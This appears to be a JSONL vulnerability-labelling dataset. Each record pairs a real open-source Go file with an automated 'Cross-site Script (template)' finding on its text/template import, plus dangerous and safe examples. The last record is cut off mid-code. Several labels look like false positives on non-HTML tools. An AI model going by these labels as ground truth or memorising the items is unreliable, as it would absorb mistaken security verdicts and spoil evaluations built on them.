"cc47001b02cf71abf272380e8ce13c3e2c4fc1c5", "stack_hexsha": "8f0a344beb0db558269b3d7b163ebd8762c65c06", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package calldata\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io\"\n\t\"text/tabwriter\"\n\t\"text/template\"\n\t\"time\"\n\n\t\"github.com/google/uuid\"\n)\n\nvar (\n\ttmpl *template.Template\n)\n\nfunc init() {\n\tfnMap := make(template.FuncMap, len(funcs))\n\tfor _, fn := range funcs {\n\t\tfnMap[fn.Name] = fn.Func\n\t}\n\n\ttmpl = template.New(\"calldata\").Funcs(fnMap)\n}\n\ntype Var struct {\n\tName string\n\tDesc string\n}\n\nvar (\n\tvariables = []Var{\n\t\t{Name: \"RequestNumber\", Desc: \"Request number for data\"},\n\t\t{Name: \"Timestamp\", Desc: \"Timestamp in RFC3339 format\"},\n\t\t{Name: \"TimestampUnix\", Desc: \"Timestamp as unix time in seconds\"},\n\t\t{Name: \"TimestampUnixMilli\", Desc: \"Timestamp as unix time in milliseconds\"},\n\t\t{Name: \"TimestampUnixNano\", Desc: \"Timestamp as unix time in nanoseconds\"},\n\t\t{Name: \"UUID\", Desc: \"Generated UUIDv4\"},\n\t}\n)\n\ntype CallData struct {\n\tRequestNumber int64\n\tTimestamp string\n\tTimestampUnix int64\n\tTimestampUnixMilli int64\n\tTimestampUnixNano int64\n\tUUID string\n}\n\nfunc ParseTemplate(data []byte) (*template.Template, error) {\n\tt, err := tmpl.Parse(string(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn t, nil\n}\n\n// PrintFuncs prints list of functions to output.\nfunc PrintFuncs(output io.Writer) {\n\tw := tabwriter.NewWriter(output, 0, 0, 4, ' ', 0)\n\n\tfmt.Fprintln(w, \"Template variables:\\t\")\n\tfor _, vr := range variables {\n\t\tfmt.Fprintf(w, \" .%s\\t%s\\n\", vr.Name, vr.Desc)\n\t}\n\n\tfmt.Fprintln(w, \"\\t\")\n\tfmt.Fprintln(w, \"Template functions:\\t\")\n\tfor _, fn := range funcs {\n\t\tfmt.Fprintf(w, \" %s\\t%s\\n\", fn.Name, fn.Desc)\n\t}\n\tw.Flush()\n}\n\nfunc NewCallData(reqNum int) *CallData {\n\tnow := time.Now()\n\tnowNano := now.UnixNano()\n\n\treturn &CallData{\n\t\tRequestNumber: int64(reqNum),\n\t\tTimestamp: now.Format(time.RFC3339),\n\t\tTimestampUnix: now.Unix(),\n\t\tTimestampUnixMilli: nowNano / 1e6,\n\t\tTimestampUnixNano: nowNano,\n\t\tUUID: uuid.NewString(),\n\t}\n}\n\nfunc (c *CallData) Execute(tmpl *template.Template) (*bytes.Buffer, error) {\n\tb := new(bytes.Buffer)\n\tif err := tmpl.Execute(b, c); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn b, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "34888174fbc74c91acbc36e51a853225fe462f2fe46b2c70a237578d8edf9b65", "license": {"spdx": ["MIT"], "repo": "syncthing/downloads", "path": "handler.go", "repo_head_hexsha": "0efc4d16aca4f757b88d94d5c70f8ad3fe254a04", "stack_hexsha": "117d54add56c48df150ac5bddc309700c83e1eb3", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 11, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"text/template\"\n\t\"time\"\n)\n\ntype handler struct {\n\tcfg config\n\tmu sync.Mutex\n\trepoCache struct {\n\t\trepos []repo\n\t\tupdated time.Time\n\t}\n\ttemplateCache struct {\n\t\tdata []byte\n\t\tupdated time.Time\n\t}\n}\n\nfunc (h *handler) handle(w http.ResponseWriter, req *http.Request) {\n\th.mu.Lock()\n\tdefer h.mu.Unlock()\n\n\t// Check if we need to reload Github data.\n\t// FIXME: Should happen in the background as it can take quite a while.\n\trepoDataUpdated := false\n\tif time.Since(h.repoCache.updated) > h.cfg.RepoCacheTime {\n\t\th.repoCache.repos = getAllRepositories(h.cfg)\n\t\th.repoCache.updated = time.Now()\n\t\trepoDataUpdated = true\n\t}\n\n\t// Check if we need to re-evaluate the template.\n\tif repoDataUpdated || time.Since(h.templateCache.updated) > h.cfg.TemplateCacheTime {\n\t\tbs, err := generateOverview(h.repoCache.repos)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusInternalServerError)\n\t\t\treturn\n\t\t}\n\t\th.templateCache.data = bs\n\t\th.templateCache.updated = time.Now()\n\t}\n\n\tw.Header().Set(\"Content-Type\", \"text/html; charset=utf-8\")\n\tw.Write(h.templateCache.data)\n}\n\nfunc getAllRepositories(cfg config) []repo {\n\tvar rs []repo\n\tfor _, rc := range cfg.Repos {\n\t\tr, err := getRepository(rc)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"Getting %s: %v\", rc.GithubName, err)\n\t\t\tcontinue\n\t\t}\n\t\trs = append(rs, r)\n\t}\n\n\treturn rs\n}\n\nfunc getRepository(rc repoCfg) (repo, error) {\n\tgr, err := getRepo(rc.GithubName)\n\tif err != nil {\n\t\treturn repo{}, err\n\t}\n\n\trs, err := gr.getReleases(5) // At most five releases per repo\n\tif err != nil {\n\t\treturn repo{}, err\n\t}\n\n\tr := repo{\n\t\tFriendlyName: rc.FriendlyName,\n\t\tGithubName: gr.FullName,\n\t\tCssName: strings.ToLower(strings.Replace(rc.FriendlyName, \" \", \"-\", -1)),\n\t\tIsSyncthing: strings.Compare(rc.FriendlyName, \"Syncthing\")==0,\n\t\tDescription: gr.Description,\n\t\tGithubURL: gr.URL,\n\t}\n\n\tfor _, rel := range rs {\n\t\tver := version{\n\t\t\tVersion: rel.Tag,\n\t\t}\n\t\tfor _, as := range rel.Assets {\n\t\t\tast := asset{\n\t\t\t\tURL: as.URL,\n\t\t\t}\n\n\t\t\tif val, err := extractExpr(rc.NameExpr, as.Name); err != nil {\n\t\t\t\tlog.Printf(\"%s %s: %v (skipping)\", rc.GithubName, rel.Tag, err)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tast.Name = val\n\t\t\t}\n\n\t\t\tif val, err := extractExpr(rc.OSExpr, as.Name); err != nil {\n\t\t\t\tlog.Printf(\"%s %s: %v (skipping)\", rc.GithubName, rel.Tag, err)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tast.OS = val\n\t\t\t}\n\n\t\t\tif val, err := extractExpr(rc.ArchExpr, as.Name); err != nil {\n\t\t\t\tlog.Printf(\"%s %s: %v (skipping)\", rc.GithubName, rel.Tag, err)\n\t\t\t\tcontinue\n\t\t\t} else {\n\t\t\t\tast.Arch = val\n\t\t\t}\n\n\t\t\tver.Assets = append(ver.Assets, ast)\n\t\t}\n\t\tr.Versions = append(r.Versions, ver)\n\t}\n\n\treturn r, nil\n}\n\nfunc generateOverview(repos []repo) ([]byte, error) {\n\tfm := template.FuncMap{\n\t\t\"now\": time.Now,\n\t}\n\ttmpl := template.Must(template.New(\"index.go.html\").Funcs(fm).ParseGlob(\"*.go.html\"))\n\n\tbuf := new(bytes.Buffer)\n\tif err := tmpl.Execute(buf, repos); err != nil {\n\t\tlog.Printf(\"Template execution: %s\", err)\n\t\treturn nil, err\n\t}\n\n\treturn buf.Bytes(), nil\n}\n\nfunc extractExpr(expr, val string) (string, error) {\n\tif !strings.HasPrefix(expr, \"/\") {\n\t\treturn expr, nil\n\t}\n\n\tre, err := regexp.Compile(expr[1 : len(expr)-1])\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\tms := re.FindStringSubmatch(val)\n\tif len(ms) != 2 {\n\t\treturn \"\", fmt.Errorf(\"%s doesn't match %q\", expr, val)\n\t}\n\n\treturn ms[1], nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "122ff2262c3b9007924021867030967c7be3dd98d8c2fccb264b00e769225548", "license": {"spdx": ["MIT"], "repo": "mmlt/kubectl-tmplt", "path": "pkg/expand/expand.go", "repo_head_hexsha": "81870eb227cd2837250282624989968075137755", "stack_hexsha": "a435b8a66fb276b89e37e0613bb5028d894f45a5", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 11, "entireCode": "package expand\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\tsprig \"github.com/Masterminds/sprig/v3\"\n\t\"github.com/mmlt/kubectl-tmplt/pkg/expand/files\"\n\t\"github.com/mmlt/kubectl-tmplt/pkg/util/yamlx\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"text/template\"\n)\n\n// Run expands a template text with values and returns the resulting text.\n// Path is used to support {{ .Files }}.\n// See https://golang.org/pkg/text/template/\nfunc Run(environ []string, path string, text []byte, values, passed yamlx.Values, customFn template.FuncMap) ([]byte, error) {\n\tenv := OSEnvironment(environ)\n\n\t// get template functions\n\tfunctions := getDefaultFunctions()\n\t// override Sprig function to make sure a sanitized environment is used.\n\tfunctions[\"env\"] = func(s string) string { return env[s] }\n\tfunctions[\"expandenv\"] = func(s string) string { return \"\" }\n\t// add custom functions\n\tfor n, f := range customFn {\n\t\tfunctions[n] = f\n\t}\n\n\t// params contains values and methods that are accessed via {{ .Values }}, {{ .Get }} and {{ .Files }}\n\tvar params = struct {\n\t\tValues yamlx.Values\n\t\tGet yamlx.Values\n\t\tFiles files.Dir\n\t}{\n\t\tValues: values,\n\t\tGet: passed,\n\t\tFiles: files.Dir(filepath.Dir(path)),\n\t}\n\n\treturn expand(path, text, functions, params)\n}\n\n// Expand expands a template text with functions and params and returns the resulting text.\n// Missing keys result in an error.\nfunc expand(path string, text []byte, functions template.FuncMap, params interface{}) ([]byte, error) {\n\t// Create template with functions and text.\n\ttmpl, err := template.New(\"input\").Funcs(functions).Option(\"missingkey=invalid\").Parse(string(text))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parse: %w\", err)\n\t}\n\n\tvar out bytes.Buffer\n\terr = tmpl.Execute(&out, ¶ms)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"execute: %w\", err)\n\t}\n\n\treturn out.Bytes(), nil\n}\n\n// GetDefaultFunctions returns a map with functions that are commonly used in templates.\n// It consists of Sprig (generic)functions and TOML,JSON,YAML conversion functions.\nfunc getDefaultFunctions() template.FuncMap {\n\tanswer := sprig.TxtFuncMap()\n\n\t// add extra functionality\n\tanswer[\"toToml\"] = files.ToToml\n\tanswer[\"toYaml\"] = files.ToYaml\n\tanswer[\"fromYaml\"] = files.FromYaml\n\tanswer[\"toJson\"] = files.ToJson\n\tanswer[\"fromJson\"] = files.FromJson\n\tanswer[\"indexOrDefault\"] = indexOrDefault\n\n\t// add functions that sprig doesn't implement cross-platform (that don't work on windows)\n\tanswer[\"filebase\"] = filepath.Base\n\tanswer[\"filedir\"] = filepath.Dir\n\tanswer[\"fileclean\"] = filepath.Clean\n\tanswer[\"fileext\"] = filepath.Ext\n\n\treturn answer\n}\n\n// OSEnvironment converts a []string with \"key=value\" items to a map[\"key\"]=\"value\".\nfunc OSEnvironment(environ []string) map[string]string {\n\tresult := make(map[string]string)\n\tfor _, s := range environ {\n\t\tsl := strings.SplitN(s, \"=\", 2)\n\t\tif len(sl) != 2 {\n\t\t\tcontinue\n\t\t}\n\t\tresult[sl[0]] = sl[1]\n\t}\n\treturn result\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 11, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "ea399c5467bbea152d1427bfa66ab7fb29209701885e58bcf6becf90360c8f0f", "license": {"spdx": ["Apache-2.0"], "repo": "tischda/gotimer", "path": "main.go", "repo_head_hexsha": "9875bd749bb3e67639a6985b71b9c8011cfe0d84", "stack_hexsha": "fa9a8759d8bcb1b603866b559fbe58b0b6a8aa9e", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"text/template\"\n)\n\n// http://technosophos.com/2014/06/11/compile-time-string-in-go.html\n// go build -ldflags \"-x main.version=$(git describe --tags)\"\nvar version string\n\n// command line flags\nvar showVersion bool\nvar quietProcess bool\n\n// command structure\ntype cliCmd struct {\n\tCmdName string\n\tCmdDesc string\n\tCmdFunc func(Chronometer, string)\n}\n\nconst USAGE_TEMPLATE = `{{range .}} {{.CmdName}}: {{.CmdDesc}}\n{{end}}`\n\n// list of permitted commands with description and func pointer\nvar cmdList = []cliCmd{\n\t{\"start\", \"start named timer\", Chronometer.start},\n\t{\"read\", \"read timer (elapsed time)\", Chronometer.read},\n\t{\"stop\", \"read and then clear timer\", Chronometer.stop},\n\t{\"list\", \"list timers\", Chronometer.list},\n\t{\"clear\", \"clear named timer, remove from registry\", Chronometer.clear},\n\t{\"exec\", \"execute task and print elapsed time\", Chronometer.exec},\n}\n\n// Note: defining flags in init() to avoid \"panic: flag redefined\"\n// when calling main() twice in main_test.\nfunc init() {\n\tflag.BoolVar(&showVersion, \"version\", false, \"print version and exit\")\n\tflag.BoolVar(&quietProcess, \"quiet\", false, \"hide process output\")\n}\n\nfunc main() {\n\tlog.SetFlags(0)\n\tflag.Usage = customUsage\n\tflag.Parse()\n\n\tif flag.Arg(0) == \"version\" || showVersion {\n\t\tfmt.Printf(\"gotimer %s - Measures time between two events\\n\", version)\n\t} else {\n\t\tprocessArgs(flag.Arg(0), flag.Arg(1))\n\t}\n}\n\n// Note: if flag not specified in first position, it will be ignored.\n// Example: ./timer start azerty -C ls --> flag '-C' will be ignored\nfunc processArgs(cmd string, name string) {\n\tcheckParameters(cmd, name)\n\texecuteTimerFunc(cmd, name)\n}\n\n// Custom flag.Usage() function.\nfunc customUsage() {\n\tfmt.Fprintf(os.Stderr, \"Usage: %s [OPTION] exec task\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \"Usage: %s {list,read,clear}\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \" %s [OPTION] COMMAND timer-name\\n\", os.Args[0])\n\tfmt.Fprint(os.Stderr, \"\\n COMMANDS:\\n\")\n\ttpl, _ := template.New(\"usage\").Parse(USAGE_TEMPLATE)\n\ttpl.Execute(os.Stderr, cmdList)\n\tfmt.Fprint(os.Stderr, \"\\n OPTIONS:\\n\")\n\tflag.PrintDefaults()\n\tos.Exit(1)\n}\n\n// Verifies command line parameters.\nfunc checkParameters(cmd string, name string) {\n\tif flag.NArg() == 0 || flag.NArg() > 2 {\n\t\tflag.Usage()\n\t}\n\tif (cmd == \"start\" || cmd == \"stop\") && name == \"\" {\n\t\tfmt.Fprint(os.Stderr, \"Please specify the name of the timer.\\n\")\n\t\tos.Exit(1)\n\t}\n\tif cmd == \"exec\" && name == \"\" {\n\t\tfmt.Fprint(os.Stderr, \"Please specify a task to execute.\\n\")\n\t\tos.Exit(1)\n\t}\n}\n\n// Executes the requested action defined in command list.\nfunc executeTimerFunc(cmd string, name string) {\n\ti := indexOf(cmd)\n\tif i != -1 {\n\t\tcmdList[i].CmdFunc(timer, name)\n\t} else {\n\t\tflag.Usage()\n\t}\n}\n\n// Checks specified command against supported commands\n// and return index if found, -1 otherwise.\nfunc indexOf(cmdName string) int {\n\tfor i, item := range cmdList {\n\t\tif item.CmdName == cmdName {\n\t\t\treturn i\n\t\t}\n\t}\n\treturn -1\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "369061df06e8f7b3b960b85595b1d579ccf201ca835a190ab4c5b4f6b4aab39b", "license": {"spdx": ["MIT"], "repo": "wandreuscv/web-develop-golang", "path": "000_temp/63-fall-2018/034-pass-in-data-aggregate/main.go", "repo_head_hexsha": "6d7316ea8ec04cc65159f701d00a56ed83a12787", "stack_hexsha": "4138fcfa0738beb2dfd258e39a05acebe140f383", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 4, "entireCode": "package main\n\nimport (\n\t\"text/template\"\n\t\"os\"\n)\n\nvar tpl *template.Template\n\nfunc init() {\n\ttpl = template.Must(template.ParseGlob(\"templates/*\"))\n}\n\ntype person struct {\n\tFirst string\n\tLast string\n\tAge int\n}\n\nfunc main() {\n\n\tp1 := person{\n\t\tFirst: \"James\",\n\t\tLast: \"Bond\",\n\t\tAge: 32,\n\t}\n\n\terr := tpl.ExecuteTemplate(os.Stdout, \"one.gohtml\", p1)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tp2 := person{\n\t\tFirst: \"Jenny\",\n\t\tLast: \"Moneypenny\",\n\t\tAge: 27,\n\t}\n\n\txp := []person{p1, p2}\n\terr = tpl.ExecuteTemplate(os.Stdout, \"two.gohtml\", xp)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\terr = tpl.ExecuteTemplate(os.Stdout, \"lasagne.php\", p1)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 4, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "2f64619d47d92d7f03ce1f3ac9bff4bf70e7861b3d0bae6f28421e08abd30a0c", "license": {"spdx": ["BSD-2-Clause"], "repo": "acsellers/temple", "path": "templates/master.go", "repo_head_hexsha": "4f0863c985d8f1ba373724f46bd4758b071c3dff", "stack_hexsha": "044e2cebc4af605972ef76c88cd94b2723c0e7dd", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 6, "entireCode": "package templates\n\nimport (\n\t\"bytes\"\n\thtemplate \"html/template\"\n\tttemplate \"text/template\"\n)\n\ntype MasterTemplate struct {\n\tName string\n\tTemplate *ttemplate.Template\n\tConfig *Config\n}\n\nfunc (mt *MasterTemplate) Generate(h *Host) error {\n\tvar err error\n\tsite := htemplate.New(\"layout\")\n\targs := make(map[string]interface{})\n\targs[\"Features\"] = func(name string) string {\n\t\tresult := \"\"\n\t\tfor _, t := range mt.Config.FeatureLists[name] {\n\t\t\tif h.Features[t] {\n\t\t\t\tresult += mt.Config.Features[t].Generate(h)\n\t\t\t}\n\t\t}\n\t\treturn result\n\t}\n\tb := &bytes.Buffer{}\n\tmt.Template.Execute(b, args)\n\th.Compiled[mt.Name], err = site.Parse(b.String())\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 6, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "6279dbb188202832bd8058cc3144d200f8b27009ec6d9bb82e69e60dca9d3ab8", "license": {"spdx": ["MIT"], "repo": "codemicro/headers", "path": "internal/headers/headers.go", "repo_head_hexsha": "2aa45d208b006c8b187721358d85e449c9205dc4", "stack_hexsha": "8d986d2d5cd49e64eb887431c926953b1b3fcbd1", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 18, "entireCode": "// https://github.com/codemicro/headers\n// Copyright (c) 2021, codemicro and contributors\n// SPDX-License-Identifier: MIT\n// Filename: internal/headers/headers.go\n\npackage headers\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nvar LintMode bool\nvar Verbose bool\n\nvar logger = log.New(os.Stderr, \"\", 0)\n\ntype transformation struct {\n\tFilename string\n\t// NewFileContents will be nil if no updates need to be made\n\tNewFileContents []byte\n}\n\nfunc (tf *transformation) apply(permCode int) error {\n\tif tf.NewFileContents == nil {\n\t\treturn nil\n\t}\n\treturn ioutil.WriteFile(tf.Filename, tf.NewFileContents, fs.FileMode(permCode))\n}\n\nfunc Run(cfg *Config, cmdLineFiles []string) error {\n\n\tvar files []string\n\tvar err error\n\tif len(cmdLineFiles) == 0 {\n\t\tfiles, err = discoverFiles(\".\", cfg)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\tfiltered, err := filterFileList(cmdLineFiles, cfg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfiles = filtered\n\t}\n\n\tif Verbose {\n\t\tlogger.Println(\"Running against files:\", files)\n\t}\n\n\tvar transformations []*transformation\n\n\tfor _, fname := range files {\n\t\ttf, err := generateUpdateTransformation(fname, cfg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttransformations = append(transformations, tf)\n\t}\n\n\treturn executeTransformations(transformations)\n}\n\nfunc Replace(cfg *Config, cmdLineFiles []string, newHeader string) error {\n\n\tvar files []string\n\tvar err error\n\tif len(cmdLineFiles) == 0 {\n\t\tfiles, err = discoverFiles(\".\", cfg)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t} else {\n\t\tfiltered, err := filterFileList(cmdLineFiles, cfg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfiles = filtered\n\t}\n\n\tif Verbose {\n\t\tlogger.Println(\"Running against files:\", files)\n\t}\n\n\tvar transformations []*transformation\n\n\tfor _, fname := range files {\n\t\ttf, err := generateReplaceTransformation(newHeader, fname, cfg)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\ttransformations = append(transformations, tf)\n\t}\n\n\treturn executeTransformations(transformations)\n\n}\n\nfunc executeTransformations(transformations []*transformation) error {\n\n\tif Verbose {\n\t\ts := \"Applying transformations\"\n\t\tif LintMode {\n\t\t\ts = \"Checking transformations\"\n\t\t}\n\t\tlogger.Println(s)\n\t}\n\n\tvar hasLintingFailed bool\n\tfor _, tf := range transformations {\n\t\tif tf.NewFileContents == nil {\n\t\t\tif Verbose {\n\t\t\t\tlogger.Printf(\"%s: no action required\\n\", tf.Filename)\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tif LintMode {\n\t\t\tlogger.Printf(\"LINT: %s has not had file headers applied\\n\", tf.Filename)\n\t\t\thasLintingFailed = true\n\t\t\tcontinue\n\t\t}\n\n\t\tif Verbose {\n\t\t\tlogger.Printf(\"%s: updating file content\\n\", tf.Filename)\n\t\t}\n\t\terr := tf.apply(0644)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif LintMode {\n\t\tif hasLintingFailed {\n\t\t\treturn errors.New(\"linting did not pass\")\n\t\t} else {\n\t\t\tlogger.Println(\"LINT: ok\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc makeFileRegexp(cfg *Config) (func(string) bool, error) {\n\tvar bx []string\n\tfor _, rg := range cfg.Spec {\n\t\tbx = append(bx, rg.Regex)\n\t}\n\tvar err error\n\tmatchRegexp, err := regexp.Compile(\"(\" + strings.Join(bx, \")|(:?\") + \")\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif cfg.Options.ExcludeRegex != \"\" {\n\t\texcludeRegexp, err := regexp.Compile(cfg.Options.ExcludeRegex)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn func(mx string) bool {\n\t\t\treturn matchRegexp.MatchString(mx) && !excludeRegexp.MatchString(mx)\n\t\t}, nil\n\t}\n\n\treturn matchRegexp.MatchString, nil\n}\n\nfunc discoverFiles(dir string, cfg *Config) ([]string, error) {\n\n\tvar o []string\n\n\tmatchRegexp, err := makeFileRegexp(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif matchRegexp(path) {\n\t\t\to = append(o, path)\n\t\t}\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn o, nil\n}\n\nfunc filterFileList(flist []string, cfg *Config) ([]string, error) {\n\tmatchRegexp, err := makeFileRegexp(cfg)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar n int\n\tfor _, item := range flist {\n\t\tif matchRegexp(item) {\n\t\t\tflist[n] = item\n\t\t\tn += 1\n\t\t}\n\t}\n\tflist = flist[:n]\n\treturn flist, nil\n}\n\n// transformHeaderBySpec adds the spec comment to the beginning of each line in header\nfunc transformHeaderBySpec(header string, spec *Spec) string {\n\tlines := strings.Split(header, \"\\n\")\n\tnewLines := make([]string, len(lines))\n\tfor i, line := range lines {\n\t\tnewLines[i] = spec.Comment + \" \" + line\n\t\tif spec.EndComment != \"\" {\n\t\t\tnewLines[i] += \" \" + spec.EndComment\n\t\t}\n\t}\n\treturn strings.Join(newLines, \"\\n\")\n}\n\n// splitByTemplateLiteral splits a string by any `{{ .Var }}` style template literals\n// This will produce weird output when run against invalid templates, run this through\nfunc splitByTemplateLiteral(src string) []string {\n\tx := strings.Split(src, 